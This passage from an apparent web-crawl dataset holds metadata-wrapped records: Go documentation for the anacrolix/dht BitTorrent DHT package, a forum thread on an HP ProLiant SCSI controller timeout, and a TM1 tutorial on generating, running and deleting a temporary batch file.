"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
6,252,063,497,120,960,000 |
dht: github.com/anacrolix/dht Index | Files | Directories
package dht
import "github.com/anacrolix/dht"
Package dht implements a Distributed Hash Table (DHT) part of the BitTorrent protocol, as specified by BEP 5: http://www.bittorrent.org/beps/bep_0005.html
BitTorrent uses a "distributed hash table" (DHT) for storing peer contact information for "trackerless" torrents. In effect, each peer becomes a tracker. The protocol is based on Kademila DHT protocol and is implemented over UDP.
Please note the terminology used to avoid confusion. A "peer" is a client/server listening on a TCP port that implements the BitTorrent protocol. A "node" is a client/server listening on a UDP port implementing the distributed hash table protocol. The DHT is composed of nodes and stores the location of peers. BitTorrent clients include a DHT node, which is used to contact other nodes in the DHT to get the location of peers to download from using the BitTorrent protocol.
Standard use involves creating a Server, and calling Announce on it with the details of your local torrent client and infohash of interest.
Index
Package Files
addr.go announce.go bloom.go bootstrap.go bucket.go dht.go doc.go expvar.go globals.go int160.go misc.go node.go nodes_file.go security.go server.go table.go tokens.go transaction.go traversal.go
func MakeDeterministicNodeID Uses
func MakeDeterministicNodeID(public net.Addr) (id [20]byte)
func NodeIdSecure Uses
func NodeIdSecure(id [20]byte, ip net.IP) bool
Returns whether the node ID is considered secure. The id is the 20 raw bytes. http://www.libtorrent.org/dht_sec.html
func RandomNodeID Uses
func RandomNodeID() (id [20]byte)
func ReadNodesFromFile Uses
func ReadNodesFromFile(fileName string) (ns []krpc.NodeInfo, err error)
func SecureNodeId Uses
func SecureNodeId(id *[20]byte, ip net.IP)
Makes a node ID secure, in-place. The ID is 20 raw bytes. http://www.libtorrent.org/dht_sec.html
func WriteNodesToFile Uses
func WriteNodesToFile(ns []krpc.NodeInfo, fileName string) (err error)
type Addr Uses
type Addr interface {
Raw() net.Addr
Port() int
IP() net.IP
String() string
KRPC() krpc.NodeAddr
}
Used internally to refer to node network addresses. String() is called a lot, and so can be optimized. Network() is not exposed, so that the interface does not satisfy net.Addr, as the underlying type must be passed to any OS-level function that take net.Addr.
func GlobalBootstrapAddrs Uses
func GlobalBootstrapAddrs(network string) (addrs []Addr, err error)
func NewAddr Uses
func NewAddr(raw net.Addr) Addr
type Announce Uses
type Announce struct {
Peers chan PeersValues
// contains filtered or unexported fields
}
Maintains state for an ongoing Announce operation. An Announce is started by calling Server.Announce.
func (*Announce) Close Uses
func (a *Announce) Close()
Stop the announce.
func (*Announce) NumContacted Uses
func (a *Announce) NumContacted() int64
Returns the number of distinct remote addresses the announce has queried.
func (*Announce) String Uses
func (a *Announce) String() string
type AnnounceOpt Uses
type AnnounceOpt *struct{}
func Scrape Uses
func Scrape() AnnounceOpt
type Peer Uses
type Peer = krpc.NodeAddr
type PeersValues Uses
type PeersValues struct {
Peers []Peer // Peers given in get_peers response.
krpc.NodeInfo // The node that gave the response.
krpc.Return
}
Corresponds to the "values" key in a get_peers KRPC response. A list of peers that a node has reported as being in the swarm for a queried info hash.
type Server Uses
type Server struct {
// contains filtered or unexported fields
}
A Server defines parameters for a DHT node server that is able to send queries, and respond to the ones from the network. Each node has a globally unique identifier known as the "node ID." Node IDs are chosen at random from the same 160-bit space as BitTorrent infohashes and define the behaviour of the node. Zero valued Server does not have a valid ID and thus is unable to function properly. Use `NewServer(nil)` to initialize a default node.
func NewServer Uses
func NewServer(c *ServerConfig) (s *Server, err error)
NewServer initializes a new DHT node server.
func (*Server) AddNode Uses
func (s *Server) AddNode(ni krpc.NodeInfo) error
Adds directly to the node table.
func (*Server) AddNodesFromFile Uses
func (s *Server) AddNodesFromFile(fileName string) (added int, err error)
func (*Server) Addr Uses
func (s *Server) Addr() net.Addr
Addr returns the listen address for the server. Packets arriving to this address are processed by the server (unless aliens are involved).
func (*Server) Announce Uses
func (s *Server) Announce(infoHash [20]byte, port int, impliedPort bool, opts ...AnnounceOpt) (*Announce, error)
Traverses the DHT graph toward nodes that store peers for the infohash, streaming them to the caller, and announcing the local node to each responding node if port is non-zero or impliedPort is true.
func (*Server) Bootstrap Uses
func (s *Server) Bootstrap() (ts TraversalStats, err error)
Populates the node table.
func (*Server) Close Uses
func (s *Server) Close()
Stops the server network activity. This is all that's required to clean-up a Server.
func (*Server) ID Uses
func (s *Server) ID() [20]byte
ID returns the 20-byte server ID. This is the ID used to communicate with the DHT network.
func (*Server) IPBlocklist Uses
func (s *Server) IPBlocklist() iplist.Ranger
func (*Server) Nodes Uses
func (s *Server) Nodes() (nis []krpc.NodeInfo)
Exports the current node table.
func (*Server) NumNodes Uses
func (s *Server) NumNodes() int
Returns how many nodes are in the node table.
func (*Server) Ping Uses
func (s *Server) Ping(node *net.UDPAddr, callback func(krpc.Msg, error)) error
Sends a ping query to the address given.
func (*Server) SetIPBlockList Uses
func (s *Server) SetIPBlockList(list iplist.Ranger)
Packets to and from any address matching a range in the list are dropped.
func (*Server) Stats Uses
func (s *Server) Stats() ServerStats
Stats returns statistics for the server.
func (*Server) String Uses
func (s *Server) String() string
Returns a description of the Server.
func (*Server) WriteStatus Uses
func (s *Server) WriteStatus(w io.Writer)
type ServerConfig Uses
type ServerConfig struct {
// Set NodeId Manually. Caller must ensure that if NodeId does not conform
// to DHT Security Extensions, that NoSecurity is also set.
NodeId [20]byte
Conn net.PacketConn
// Don't respond to queries from other nodes.
Passive bool
StartingNodes StartingNodesGetter
// Disable the DHT security extension:
// http://www.libtorrent.org/dht_sec.html.
NoSecurity bool
// Initial IP blocklist to use. Applied before serving and bootstrapping
// begins.
IPBlocklist iplist.Ranger
// Used to secure the server's ID. Defaults to the Conn's LocalAddr(). Set
// to the IP that remote nodes will see, as that IP is what they'll use to
// validate our ID.
PublicIP net.IP
// Hook received queries. Return false if you don't want to propagate to
// the default handlers.
OnQuery func(query *krpc.Msg, source net.Addr) (propagate bool)
// Called when a peer successfully announces to us.
OnAnnouncePeer func(infoHash metainfo.Hash, ip net.IP, port int, portOk bool)
// How long to wait before resending queries that haven't received a
// response. Defaults to a random value between 4.5 and 5.5s.
QueryResendDelay func() time.Duration
ConnectionTracking *conntrack.Instance
// If no Logger is provided, log.Default is used and log.Debug messages are filtered out. Note
// that all messages without a log.Level, have log.Debug added to them before being passed to
// this Logger.
Logger log.Logger
}
ServerConfig allows to set up a configuration of the `Server` instance to be created with NewServer
func NewDefaultServerConfig Uses
func NewDefaultServerConfig() *ServerConfig
type ServerStats Uses
type ServerStats struct {
// Count of nodes in the node table that responded to our last query or
// haven't yet been queried.
GoodNodes int
// Count of nodes in the node table.
Nodes int
// Transactions awaiting a response.
OutstandingTransactions int
// Individual announce_peer requests that got a success response.
SuccessfulOutboundAnnouncePeerQueries int64
// Nodes that have been blocked.
BadNodes uint
OutboundQueriesAttempted int64
}
ServerStats instance is returned by Server.Stats() and stores Server metrics
type StartingNodesGetter Uses
type StartingNodesGetter func() ([]Addr, error)
type Transaction Uses
type Transaction struct {
// contains filtered or unexported fields
}
Transaction keeps track of a message exchange between nodes, such as a query message and a response message.
type TraversalStats Uses
type TraversalStats struct {
NumAddrsTried int64
NumResponses int64
}
func (TraversalStats) String Uses
func (me TraversalStats) String() string
Directories
PathSynopsis
krpc
Package dht imports 41 packages (graph) and is imported by 20 packages. Updated 2020-10-03. Refresh now. Tools for package owners.
|
{
"url": "https://godoc.org/github.com/anacrolix/dht",
"source_domain": "godoc.org",
"snapshot_id": "crawl=CC-MAIN-2020-45",
"warc_metadata": {
"Content-Length": "52970",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:N64MZDHL7MD27X63IJ3TB6MGIKMPBH2M",
"WARC-Concurrent-To": "<urn:uuid:ee70d482-ca18-416e-aaad-c099d4e0ffb0>",
"WARC-Date": "2020-10-24T10:05:23Z",
"WARC-IP-Address": "216.239.38.21",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:U4TNJ6ESD4WK3THO5JP6B3RC43O2OHJI",
"WARC-Record-ID": "<urn:uuid:5a735ac7-5aed-4b53-a238-682347864a4f>",
"WARC-Target-URI": "https://godoc.org/github.com/anacrolix/dht",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:6bb56dc8-d31f-428b-a639-59c796a65c70>"
},
"warc_info": "isPartOf: CC-MAIN-2020-45\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-244.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
58,
59,
71,
72,
106,
107,
262,
263,
493,
494,
969,
970,
1110,
1111,
1117,
1118,
1132,
1133,
1329,
1330,
1364,
1365,
1425,
1426,
1449,
1450,
1497,
1498,
1615,
1616,
1639,
1640,
1674,
1675,
1703,
1704,
1776,
1777,
1800,
1801,
1844,
1845,
1942,
1943,
1970,
1971,
2042,
2043,
2058,
2059,
2081,
2100,
2115,
2131,
2151,
2176,
2178,
2179,
2440,
2441,
2472,
2473,
2541,
2542,
2560,
2561,
2593,
2594,
2613,
2614,
2637,
2664,
2710,
2712,
2713,
2815,
2816,
2844,
2845,
2872,
2873,
2892,
2893,
2928,
2929,
2969,
2970,
3044,
3045,
3074,
3075,
3110,
3111,
3133,
3134,
3161,
3162,
3179,
3180,
3206,
3207,
3222,
3223,
3249,
3250,
3272,
3273,
3299,
3362,
3423,
3439,
3441,
3442,
3592,
3593,
3610,
3611,
3632,
3678,
3680,
3681,
4127,
4128,
4148,
4149,
4204,
4205,
4250,
4251,
4279,
4280,
4329,
4330,
4363,
4364,
4401,
4402,
4476,
4477,
4502,
4503,
4536,
4537,
4676,
4677,
4706,
4707,
4820,
4821,
5021,
5022,
5052,
5053,
5113,
5114,
5140,
5141,
5167,
5168,
5193,
5194,
5279,
5280,
5303,
5304,
5335,
5336,
5427,
5428,
5460,
5461,
5506,
5507,
5533,
5534,
5581,
5582,
5614,
5615,
5644,
5645,
5677,
5678,
5724,
5725,
5750,
5751,
5830,
5831,
5872,
5873,
5908,
5909,
5961,
5962,
6036,
6037,
6063,
6064,
6101,
6102,
6143,
6144,
6171,
6172,
6205,
6206,
6243,
6244,
6276,
6277,
6319,
6320,
6343,
6344,
6371,
6450,
6514,
6534,
6560,
6610,
6633,
6671,
6714,
6761,
6781,
6858,
6873,
6903,
6982,
7061,
7085,
7105,
7106,
7183,
7212,
7280,
7336,
7418,
7491,
7557,
7599,
7600,
7643,
7644,
7743,
7841,
7861,
7883,
7885,
7886,
7986,
7987,
8020,
8021,
8065,
8066,
8088,
8089,
8115,
8191,
8224,
8242,
8283,
8297,
8338,
8370,
8440,
8488,
8525,
8559,
8594,
8596,
8597,
8674,
8675,
8705,
8706,
8754,
8755,
8777,
8778,
8804,
8850,
8852,
8853,
8962,
8963,
8988,
8989,
9018,
9042,
9066,
9068,
9069,
9103,
9104,
9145,
9146,
9158,
9159,
9172,
9177,
9178
],
"line_end_idx": [
58,
59,
71,
72,
106,
107,
262,
263,
493,
494,
969,
970,
1110,
1111,
1117,
1118,
1132,
1133,
1329,
1330,
1364,
1365,
1425,
1426,
1449,
1450,
1497,
1498,
1615,
1616,
1639,
1640,
1674,
1675,
1703,
1704,
1776,
1777,
1800,
1801,
1844,
1845,
1942,
1943,
1970,
1971,
2042,
2043,
2058,
2059,
2081,
2100,
2115,
2131,
2151,
2176,
2178,
2179,
2440,
2441,
2472,
2473,
2541,
2542,
2560,
2561,
2593,
2594,
2613,
2614,
2637,
2664,
2710,
2712,
2713,
2815,
2816,
2844,
2845,
2872,
2873,
2892,
2893,
2928,
2929,
2969,
2970,
3044,
3045,
3074,
3075,
3110,
3111,
3133,
3134,
3161,
3162,
3179,
3180,
3206,
3207,
3222,
3223,
3249,
3250,
3272,
3273,
3299,
3362,
3423,
3439,
3441,
3442,
3592,
3593,
3610,
3611,
3632,
3678,
3680,
3681,
4127,
4128,
4148,
4149,
4204,
4205,
4250,
4251,
4279,
4280,
4329,
4330,
4363,
4364,
4401,
4402,
4476,
4477,
4502,
4503,
4536,
4537,
4676,
4677,
4706,
4707,
4820,
4821,
5021,
5022,
5052,
5053,
5113,
5114,
5140,
5141,
5167,
5168,
5193,
5194,
5279,
5280,
5303,
5304,
5335,
5336,
5427,
5428,
5460,
5461,
5506,
5507,
5533,
5534,
5581,
5582,
5614,
5615,
5644,
5645,
5677,
5678,
5724,
5725,
5750,
5751,
5830,
5831,
5872,
5873,
5908,
5909,
5961,
5962,
6036,
6037,
6063,
6064,
6101,
6102,
6143,
6144,
6171,
6172,
6205,
6206,
6243,
6244,
6276,
6277,
6319,
6320,
6343,
6344,
6371,
6450,
6514,
6534,
6560,
6610,
6633,
6671,
6714,
6761,
6781,
6858,
6873,
6903,
6982,
7061,
7085,
7105,
7106,
7183,
7212,
7280,
7336,
7418,
7491,
7557,
7599,
7600,
7643,
7644,
7743,
7841,
7861,
7883,
7885,
7886,
7986,
7987,
8020,
8021,
8065,
8066,
8088,
8089,
8115,
8191,
8224,
8242,
8283,
8297,
8338,
8370,
8440,
8488,
8525,
8559,
8594,
8596,
8597,
8674,
8675,
8705,
8706,
8754,
8755,
8777,
8778,
8804,
8850,
8852,
8853,
8962,
8963,
8988,
8989,
9018,
9042,
9066,
9068,
9069,
9103,
9104,
9145,
9146,
9158,
9159,
9172,
9177,
9178,
9308
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 9308,
"ccnet_original_nlines": 304,
"rps_doc_curly_bracket": 0.0019338199635967612,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.21439999341964722,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023466670885682106,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2725333273410797,
"rps_doc_frac_unique_words": 0.3521912395954132,
"rps_doc_mean_word_length": 5.596015930175781,
"rps_doc_num_sentences": 145,
"rps_doc_symbol_to_word_ratio": 0.0005333300214260817,
"rps_doc_unigram_entropy": 5.258023738861084,
"rps_doc_word_count": 1255,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.06008828058838844,
"rps_doc_frac_chars_dupe_6grams": 0.026484409347176552,
"rps_doc_frac_chars_dupe_7grams": 0.007404239848256111,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.034173429012298584,
"rps_doc_frac_chars_top_3gram": 0.019222550094127655,
"rps_doc_frac_chars_top_4gram": 0.03203758969902992,
"rps_doc_books_importance": -908.3355712890625,
"rps_doc_books_importance_length_correction": -908.3355712890625,
"rps_doc_openwebtext_importance": -505.59075927734375,
"rps_doc_openwebtext_importance_length_correction": -505.59075927734375,
"rps_doc_wikipedia_importance": -380.05291748046875,
"rps_doc_wikipedia_importance_length_correction": -380.05291748046875
},
"fasttext": {
"dclm": 0.2187536358833313,
"english": 0.6059771180152893,
"fineweb_edu_approx": 2.6245296001434326,
"eai_general_math": 0.13088005781173706,
"eai_open_web_math": 0.020371319726109505,
"eai_web_code": 0.7287968397140503
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-4,134,438,572,741,245,000 |
ProLiant Servers - Netservers
Showing results for
Search instead for
Do you mean
The Device, \Device\Scsi\cpqcissm1, did not respond within the timeout period.
Occasional Visitor
The Device, \Device\Scsi\cpqcissm1, did not respond within the timeout period.
I'm getting this error message in the Eventviewer. Event ID 9. Event source: cpqcissm. Server ML530 My disk I/O is very very slow now. Can anyone help me ?? PLEASE
5 REPLIES
Honored Contributor
Re: The Device, \Device\Scsi\cpqcissm1, did not respond within the timeout period.
Joe:
Shutdown your server.
Check the SCSI cables going to the drive cages and from your controller that they are seated firmly.
Make sure the SCSI controller is seated firmly in the PCI slot.
This error relates to some SCSI device that has "fallen" off of the SCSI chain or was not discovered in time during the SCSI poll.
Does this server have a tape drive installed? If so, how is it connected? (internal, external and on what controller?)
Are there any drives in your server lit with amber LED's?
"Now is the only thing that's real!"
Honored Contributor
Re: The Device, \Device\Scsi\cpqcissm1, did not respond within the timeout period.
Joe:
What generation ML530 do you have? (G1 or G2)
What Smart Array Controller are you using?
What version of windows are you using?
Here are links to the latest versions of the SmartArray 5x / 6x controllers driver:
Version 5.49.2.32:
http://h18004.www1.hp.com/support/files/server/us/download/19606.html
Version 5.60.0.32:
http://h18004.www1.hp.com/support/files/server/us/download/19606.html
"Now is the only thing that's real!"
Honored Contributor
Re: The Device, \Device\Scsi\cpqcissm1, did not respond within the timeout period.
Joe:
Is this your issue?
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=PSD_WH040706_CW01
let us know?
"Now is the only thing that's real!"
Occasional Visitor
Re: The Device, \Device\Scsi\cpqcissm1, did not respond within the timeout period.
John,
I don't think so. The end result was we replaced the mother board,Scsi controller,Scsi Cache RAM,Scsi cables and finnally it was a bad hard drive. The hard activety light was a steady green light where the other drivers were not steady. I hope this helps anyone out there.
Honored Contributor
Re: The Device, \Device\Scsi\cpqcissm1, did not respond within the timeout period.
Thank you for the feedback, Joe.
G'luck! -john
"Now is the only thing that's real!"
|
{
"url": "https://community.hpe.com/t5/ProLiant-Servers-Netservers/The-Device-Device-Scsi-cpqcissm1-did-not-respond-within-the/td-p/415128",
"source_domain": "community.hpe.com",
"snapshot_id": "crawl=CC-MAIN-2017-09",
"warc_metadata": {
"Content-Length": "237105",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RGGYDMHMZ6NKQD7GTN6VP7S2LRQBUUFV",
"WARC-Concurrent-To": "<urn:uuid:b6500569-b45d-4d74-86cd-44e1f684c451>",
"WARC-Date": "2017-02-25T18:37:50Z",
"WARC-IP-Address": "208.74.205.44",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:J76E7RCLADWX33SWAVRL3EU2DULA7IKG",
"WARC-Record-ID": "<urn:uuid:7f901d6b-49ba-4167-a92e-6d8baa322586>",
"WARC-Target-URI": "https://community.hpe.com/t5/ProLiant-Servers-Netservers/The-Device-Device-Scsi-cpqcissm1-did-not-respond-within-the/td-p/415128",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0c2d3f3d-9354-4481-a783-f0e3bc1bb2e6>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-108.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-09\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
30,
51,
71,
84,
85,
164,
165,
184,
185,
264,
265,
429,
439,
459,
460,
543,
544,
549,
550,
572,
673,
737,
738,
869,
870,
989,
990,
1048,
1085,
1105,
1106,
1189,
1190,
1195,
1196,
1242,
1243,
1286,
1287,
1326,
1327,
1411,
1412,
1431,
1501,
1502,
1521,
1591,
1628,
1648,
1649,
1732,
1733,
1738,
1739,
1759,
1848,
1849,
1862,
1899,
1918,
1919,
2002,
2003,
2009,
2010,
2283,
2303,
2304,
2387,
2388,
2421,
2422,
2436
],
"line_end_idx": [
30,
51,
71,
84,
85,
164,
165,
184,
185,
264,
265,
429,
439,
459,
460,
543,
544,
549,
550,
572,
673,
737,
738,
869,
870,
989,
990,
1048,
1085,
1105,
1106,
1189,
1190,
1195,
1196,
1242,
1243,
1286,
1287,
1326,
1327,
1411,
1412,
1431,
1501,
1502,
1521,
1591,
1628,
1648,
1649,
1732,
1733,
1738,
1739,
1759,
1848,
1849,
1862,
1899,
1918,
1919,
2002,
2003,
2009,
2010,
2283,
2303,
2304,
2387,
2388,
2421,
2422,
2436,
2472
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2472,
"ccnet_original_nlines": 74,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.28070175647735596,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.038596488535404205,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.28070175647735596,
"rps_doc_frac_unique_words": 0.46927374601364136,
"rps_doc_mean_word_length": 5.360335350036621,
"rps_doc_num_sentences": 54,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.700672149658203,
"rps_doc_word_count": 358,
"rps_doc_frac_chars_dupe_10grams": 0.3043251633644104,
"rps_doc_frac_chars_dupe_5grams": 0.3314226269721985,
"rps_doc_frac_chars_dupe_6grams": 0.3314226269721985,
"rps_doc_frac_chars_dupe_7grams": 0.3314226269721985,
"rps_doc_frac_chars_dupe_8grams": 0.3043251633644104,
"rps_doc_frac_chars_dupe_9grams": 0.3043251633644104,
"rps_doc_frac_chars_top_2gram": 0.03282960131764412,
"rps_doc_frac_chars_top_3gram": 0.10213652998209,
"rps_doc_frac_chars_top_4gram": 0.1130797266960144,
"rps_doc_books_importance": -271.6833801269531,
"rps_doc_books_importance_length_correction": -271.6833801269531,
"rps_doc_openwebtext_importance": -140.7793731689453,
"rps_doc_openwebtext_importance_length_correction": -140.7793731689453,
"rps_doc_wikipedia_importance": -89.79016876220703,
"rps_doc_wikipedia_importance_length_correction": -89.79016876220703
},
"fasttext": {
"dclm": 0.03275818005204201,
"english": 0.8777279853820801,
"fineweb_edu_approx": 1.3052387237548828,
"eai_general_math": 0.025529980659484863,
"eai_open_web_math": 0.31716740131378174,
"eai_web_code": 0.002361709950491786
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.17",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-1,094,161,860,798,048,900 |
Execute a temporary batch file
Example files with this article:
• Execute a temporary batch file
• Introduction
TI allows you to execute batch files that reside on the TM1 server or any other location that can be accessed. This is the purpose of the EXECUTECOMMAND function. The file could be static (in which case it is executed as is), but one can make it more dynamic by first generating a batch file with custom contents, then execute the batch file and delete it again. Here′s how you can do this:
A TI process
Create a new process. Choose None as Datasource Type.
Here is the code in the Prolog tab:
# Wim Gielis # https://www.wimgielis.com
##### # TI code to execute a generated custom batch file # 07/11/09 #####
# 0. preliminary vTempFileName='C:\BV\username.bat'; DatasourceASCIIQuoteCharacter=''; # 1. create the temporary bat file ASCIIOUTPUT(vTempFileName,'cd "C:\TM1"'); ASCIIOUTPUT(vTempFileName,'echo %username% >> usernames.txt');
Here is the code in the Epilog tab:
# 2. execute the file
EXECUTECOMMAND(vTempFileName,1);
# 3. kill the temporary bat file again
ASCIIDELETE(vTempFileName);
To gain time, right-click the file above and Save it. Pretty straightforward code I would say. The process creates the file usernames.bat in the folder C:\BV. After that, it executes the bat file and kills it again. As a result, the username in Windows is appended to the file C:\TM1\usernames.txt.
Things become really interesting if your process contains a data source that you process in the metadata/data tabs. Over there, you can add lines to a text file with ASCIIOUTPUT, as we demonstrated above.
File handling systems
A nice example of this technique, could be a file handling system. Each night, input files are to be picked up by a TI chore. After processing in TM1, we can output the status to a text file: we could automatically move successfully processed input files to a folder called Success, and unsuccessfully processed input files to a folder called Failure. Only this folder should be monitored by TM1 Admin users. Make sure that the user who executes the file move operations should have sufficient rights to do so.
Homepage
Section contents
About Wim
Wim Gielis is a Business Intelligence consultant and Excel expert
Other links
|
{
"url": "http://wimgielis.com/tm1_executetempbatchfile_EN.htm",
"source_domain": "wimgielis.com",
"snapshot_id": "crawl=CC-MAIN-2021-21",
"warc_metadata": {
"Content-Length": "7180",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:S2KTQEANZ6J4IQOX6KCN7VXDMNQESUMC",
"WARC-Concurrent-To": "<urn:uuid:cb130f5d-9654-4e08-ad1a-6208cd5f2ad5>",
"WARC-Date": "2021-05-08T00:18:51Z",
"WARC-IP-Address": "104.21.28.13",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:IS4EUYZJIXPNS4DDXKE4YI24P76NTSOR",
"WARC-Record-ID": "<urn:uuid:d0ea7b2c-1a2d-4305-a27b-64ac8708438d>",
"WARC-Target-URI": "http://wimgielis.com/tm1_executetempbatchfile_EN.htm",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:435b86e6-d42f-4896-94ec-f9e5c437985b>"
},
"warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-234.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
31,
32,
65,
100,
117,
118,
513,
514,
531,
532,
590,
591,
631,
632,
677,
755,
986,
987,
1027,
1028,
1054,
1091,
1096,
1139,
1171,
1176,
1177,
1480,
1481,
1690,
1691,
1717,
1718,
2233,
2234,
2235,
2236,
2237,
2250,
2251,
2272,
2273,
2287,
2288,
2358,
2359
],
"line_end_idx": [
31,
32,
65,
100,
117,
118,
513,
514,
531,
532,
590,
591,
631,
632,
677,
755,
986,
987,
1027,
1028,
1054,
1091,
1096,
1139,
1171,
1176,
1177,
1480,
1481,
1690,
1691,
1717,
1718,
2233,
2234,
2235,
2236,
2237,
2250,
2251,
2272,
2273,
2287,
2288,
2358,
2359,
2374
]
}
|
{
"red_pajama_v2": {
